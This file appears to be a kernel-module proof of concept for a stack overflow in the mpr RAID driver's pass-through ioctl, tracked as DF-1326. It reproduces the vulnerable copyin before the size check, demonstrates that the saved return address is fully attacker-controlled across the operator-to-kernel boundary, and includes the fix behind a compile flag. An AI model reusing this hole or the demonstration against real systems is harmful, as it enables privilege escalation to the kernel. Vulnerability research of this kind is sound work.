/* * DF-1326 pass-2 kernel replica — verbatim prologue of mpr_user_pass_thru() * * sys/dev/raid/mpr/mpr_user.c:739-807 is reproduced VERBATIM below (the * statements and the full local declaration set, in source order), with the * driver environment stubbed: * * - mpr_softc -> struct fake_sc carrying only mpr_flags (MPR_FLAGS_BUSY) * - mpr_lock/mpr_unlock/mpr_dprint/mpr_printf -> no-op stubs * - copyin/copyout/devfs/ioctl plumbing: REAL kernel primitives * * What this proves on the real kernel, with the real copyin(): * 1. the copyin at mpr_user.c:800 happens BEFORE the RequestSize bounds * check at mpr_user.c:804, with a fully user-controlled 32-bit length; * 2. RequestSize > 12 (sizeof MPI2_REQUEST_HEADER) writes attacker bytes * past tmphdr on the kernel stack; * 3. the saved return-address slot of this frame is within reach of a * 96-byte (== reqframesz, passes the post-hoc check too) or 4096-byte * RequestSize, and is fully attacker-controlled before we restore it. * * The device node is created 0640 root:operator exactly like make_dev() in * mpr_attach_user() (mpr_user.c:205) so the privilege boundary being crossed * is the same one (operator group -> kernel) as the real /dev/mprN. */ #include #include #include #include #include #include #include #include #include #include #include /* ---------------- verbatim type/constant excerpts ---------------- */ /* sys/dev/raid/mpr/mpi/mpi2_type.h */ typedef unsigned char U8; typedef unsigned short U16; typedef unsigned int U32; /* sys/dev/raid/mpr/mpi/mpi2.h:855 — 12 bytes */ typedef struct _MPI2_REQUEST_HEADER { U16 FunctionDependent1; /* 0x00 */ U8 ChainOffset; /* 0x02 */ U8 Function; /* 0x03 */ U16 FunctionDependent2; /* 0x04 */ U8 FunctionDependent3; /* 0x06 */ U8 MsgFlags; /* 0x07 */ U8 VP_ID; /* 0x08 */ U8 VF_ID; /* 0x09 */ U16 Reserved1; /* 0x0A */ } MPI2_REQUEST_HEADER; typedef struct _MPI2_DEFAULT_REPLY { U16 FunctionDependent1; U8 MsgLength; U8 Function; U16 FunctionDependent2; U8 MsgFlags; U8 VP_ID; U8 VF_ID; U16 Reserved1; } MPI2_DEFAULT_REPLY; /* mprvar.h:303-305 */ #define MPR_FLAGS_BUSY (1 << 2) /* mpr_ioctl.h:183-200 */ #define MPR_PASS_THRU_DIRECTION_NONE 0 #define MPR_PASS_THRU_DIRECTION_READ 1 #define MPR_PASS_THRU_DIRECTION_WRITE 2 #define MPR_PASS_THRU_DIRECTION_BOTH 3 typedef struct mpr_pass_thru { uint64_t PtrRequest; uint64_t PtrReply; uint64_t PtrData; uint32_t RequestSize; uint32_t ReplySize; uint32_t DataSize; uint32_t DataDirection; uint64_t PtrDataOut; uint32_t DataOutSize; uint32_t Timeout; } mpr_pass_thru_t; /* mpr_ioctl.h:371 */ #define MPTIOCTL_PASS_THRU _IOWR('I', 4, struct mpr_pass_thru) /* ---------------- driver-environment stubs ---------------- */ struct fake_sc { int mpr_flags; /* the real softc's reqframesz is IOCRequestFrameSize*4 (mpr.c:387); * SAS3008-class FW reports IOCRequestFrameSize=32 dwords -> 128 bytes */ u_int reqframesz; }; static struct fake_sc g_sc = { 0, 128 }; static __inline void mpr_lock(struct fake_sc *sc) { } static __inline void mpr_unlock(struct fake_sc *sc) { } #define mpr_dprint(sc, lvl, ...) do { } while (0) #define mpr_printf(sc, ...) kprintf(__VA_ARGS__) /* ---------------- the verbatim prologue ---------------- */ static int mpr_user_pass_thru_replica(struct fake_sc *sc, mpr_pass_thru_t *data) { /* ===== VERBATIM local block from mpr_user.c:742-750 ===== */ MPI2_REQUEST_HEADER *hdr = NULL, tmphdr; MPI2_DEFAULT_REPLY *rpl = NULL; void *nvme_error_reply_v = NULL; void *nvme_encap_request_v = NULL; struct fake_cmd { char x[64]; } fake_cm_store, *cm = NULL; int i = 0, err = 0, dir = 0, sz; uint8_t tool = 0, function = 0; u_int sense_len = 0; void *targ = NULL; memset(&fake_cm_store, 0, sizeof(fake_cm_store)); /* measurement scaffolding (NOT part of the original frame logic) */ unsigned long attacker_tag = 0x4142434445464748UL; unsigned long *saved_rip_slot; unsigned long orig_rip; int rip_off, n_oob; unsigned char *p; int reqsize_capture = (int)data->RequestSize; saved_rip_slot = (unsigned long *)__builtin_frame_address(0) + 1; orig_rip = *saved_rip_slot; kprintf("df1326: enter reqframesz=%u RequestSize=%u sizeof(tmphdr)=%zu\n", sc->reqframesz, data->RequestSize, sizeof(tmphdr)); kprintf("df1326: &tmphdr=%p saved_rip_slot=%p (offset %zd bytes)\n", (void *)&tmphdr, (void *)saved_rip_slot, (char *)saved_rip_slot - (char *)&tmphdr); /* ===== VERBATIM statements mpr_user.c:752-764 ===== */ /* * Only allow one passthru command at a time. Use the MPR_FLAGS_BUSY * bit to denote that a passthru is being processed. */ mpr_lock(sc); if (sc->mpr_flags & MPR_FLAGS_BUSY) { mpr_unlock(sc); return (EBUSY); } sc->mpr_flags |= MPR_FLAGS_BUSY; mpr_unlock(sc); /* ===== VERBATIM mpr_user.c:766-788 ===== */ if (((data->DataSize == 0) && (data->DataDirection == MPR_PASS_THRU_DIRECTION_NONE)) || ((data->DataSize != 0) && ((data->DataDirection == MPR_PASS_THRU_DIRECTION_READ) || (data->DataDirection == MPR_PASS_THRU_DIRECTION_WRITE) || ((data->DataDirection == MPR_PASS_THRU_DIRECTION_BOTH) && (data->DataOutSize != 0))))) { if (data->DataDirection == MPR_PASS_THRU_DIRECTION_BOTH) data->DataDirection = MPR_PASS_THRU_DIRECTION_READ; else data->DataOutSize = 0; } else return (EINVAL); /* ===== VERBATIM mpr_user.c:796-807 ===== */ /* * copy in the header so we know what we're dealing with before we * commit to allocating a command for it. */ #ifdef FIXED /* DF-1326 fix.diff applied: bounds-check BEFORE copyin, and copy * only the 12 header bytes we actually peek at here. */ if (data->RequestSize < (int)sizeof(tmphdr) || data->RequestSize > (int)sc->reqframesz) { err = EINVAL; goto RetFreeUnlocked; } err = copyin((void *)(uintptr_t)data->PtrRequest, &tmphdr, sizeof(tmphdr)); #else err = copyin((void *)(uintptr_t)data->PtrRequest, &tmphdr, data->RequestSize); /* <-- line 800 */ #endif if (err != 0) { kprintf("df1326: copyin err=%d (RequestSize=%u)\n", err, data->RequestSize); goto RetFreeUnlocked; } /* * measurement: quantify the smash that the real driver has already * suffered at this point, then restore our own frame so the module * can keep running. The real driver has NO such restoration. */ rip_off = (int)((char *)saved_rip_slot - (char *)&tmphdr); n_oob = 0; for (p = (unsigned char *)&tmphdr + sizeof(tmphdr); p < (unsigned char *)&tmphdr + reqsize_capture; p++) if (*(unsigned long *)p == attacker_tag) n_oob += (int)sizeof(unsigned long); kprintf("df1326: copyin returned 0 -- %d bytes landed past the " "%zu-byte tmphdr\n", reqsize_capture - (int)sizeof(tmphdr), sizeof(tmphdr)); if (rip_off > 0 && rip_off < reqsize_capture) { kprintf("df1326: SAVED RIP SLOT OVERWRITTEN: was %p now %p " "(attacker-controlled: %s)\n", (void *)orig_rip, (void *)*saved_rip_slot, *saved_rip_slot == attacker_tag ? "YES, exact 8-byte " "attacker value" : "YES"); *saved_rip_slot = orig_rip; /* keep this module alive */ kprintf("df1326: (restored; the real driver would return " "through the attacker value)\n"); } else { kprintf("df1326: saved RIP slot out of reach for this size " "(offset %d)\n", rip_off); } kprintf("df1326: %lu-byte aligned attacker-pattern spans observed " "out-of-band\n", n_oob / (long)sizeof(unsigned long)); if (data->RequestSize > (int)sc->reqframesz) { /* <-- line 804 */ err = EINVAL; goto RetFreeUnlocked; } kprintf("df1326: RequestSize %u PASSED the (post-copyin) bounds " "check too\n", data->RequestSize); /* control-flow marker so the compiler keeps all locals alive */ function = tmphdr.Function; sz = (int)function + i + dir + (int)sense_len + (int)(uintptr_t)targ + (int)(uintptr_t)rpl + (int)(uintptr_t)hdr + (int)fake_cm_store.x[0] + (int)(uintptr_t)nvme_error_reply_v + (int)(uintptr_t)nvme_encap_request_v + (int)(uintptr_t)cm + (int)tool; kprintf("df1326: prologue complete (dead-code checksum %d)\n", sz); RetFreeUnlocked: sc->mpr_flags &= ~MPR_FLAGS_BUSY; return (err); } /* ---------------- devfs plumbing mirroring mpr_user.c:104-113/199-236 ---- */ static d_open_t df1326_open; static d_close_t df1326_close; static d_ioctl_t df1326_ioctl_devsw; static struct dev_ops df1326_ops = { { "df1326", 0, D_MPSAFE }, .d_open = df1326_open, .d_close = df1326_close, .d_ioctl = df1326_ioctl_devsw, }; static int df1326_open(struct dev_open_args *ap) { return (0); } static int df1326_close(struct dev_close_args *ap) { return (0); } static int df1326_ioctl(struct cdev *dev, u_long cmd, void *arg, int flag) { switch (cmd) { case MPTIOCTL_PASS_THRU: /* mpr_ioctl() mpr_user.c:2322-2329 shape */ return (mpr_user_pass_thru_replica(&g_sc, (mpr_pass_thru_t *)arg)); default: return (ENOIOCTL); } } static int df1326_ioctl_devsw(struct dev_ioctl_args *ap) { return (df1326_ioctl(ap->a_head.a_dev, ap->a_cmd, ap->a_data, ap->a_fflag)); } static int df1326_modevent(module_t mod, int type, void *data) { static cdev_t cdev; switch (type) { case MOD_LOAD: /* make_dev args verbatim from mpr_attach_user() 205-206 */ cdev = make_dev(&df1326_ops, 0, UID_ROOT, GID_OPERATOR, 0640, "df1326"); if (cdev == NULL) return (ENOMEM); reference_dev(cdev); kprintf("df1326: replica loaded (MPI2_REQUEST_HEADER=%zu " "bytes, no canary in kernel: see nm(1))\n", sizeof(MPI2_REQUEST_HEADER)); return (0); case MOD_UNLOAD: destroy_dev(cdev); return (0); default: return (EOPNOTSUPP); } } DEV_MODULE(df1326, df1326_modevent, NULL);